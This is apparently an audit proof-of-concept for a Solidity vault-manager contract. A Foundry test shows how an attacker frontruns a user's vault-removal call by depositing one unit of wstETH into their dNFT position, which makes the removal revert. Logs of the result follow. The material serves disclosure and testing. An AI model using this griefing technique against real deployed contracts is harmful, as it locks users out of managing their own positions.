  function remove(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
    ...
  }
  function removeKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (Vault(vault).id2asset(id) > 0)     revert VaultHasAssets();
  }
  function testDosRemoveVault() public {
    // create DNFT for alice
    DNft dNft = DNft(MAINNET_DNFT);
    vm.deal(alice, 10 ether);
    vm.startPrank(alice);
    uint id = dNft.mintNft{value: 1 ether}(alice);
    // alice adds wstETH vault to her dNFT position
    contracts.vaultManager.add(id, address(contracts.wstEth));
    vm.stopPrank();

    vm.prank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(contracts.wstEth));

    // faucet some WSTETH
    uint AMOUNT = 10000e18;
    vm.prank(address(0x0B925eD163218f6662a35e0f0371Ac234f9E9371));
    IERC20Minimal(MAINNET_WSTETH).transfer(address(this), AMOUNT); 
    // give bob some wsteth
    IERC20Minimal(MAINNET_WSTETH).transfer(bob, 1e18);

    // alice has no assets in her position, so she can remove her dNFT
    console.log("alice dNFT position wstETH assets:", contracts.wstEth.id2asset(id));
    // alice wants to remove the wstETH vault from her dNFT position
    // however, bob wants to stop her from doing so.
    // so he frontruns her call to `remove()` by depositing 1 asset into her dNFT
    vm.startPrank(bob);
    IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(id, address(contracts.wstEth), 1);
    vm.stopPrank();

    // now alice's transaction to `remove()` will revert due to having assets
    vm.prank(alice);
    vm.expectRevert(VaultHasAssets.selector);
    contracts.vaultManager.remove(id, address(contracts.wstEth));

    console.log("alice dNFT position wstETH assets:", contracts.wstEth.id2asset(id));
  }
Logs:
  alice dNFT position wstETH assets: 0
  alice dNFT position wstETH assets: 1
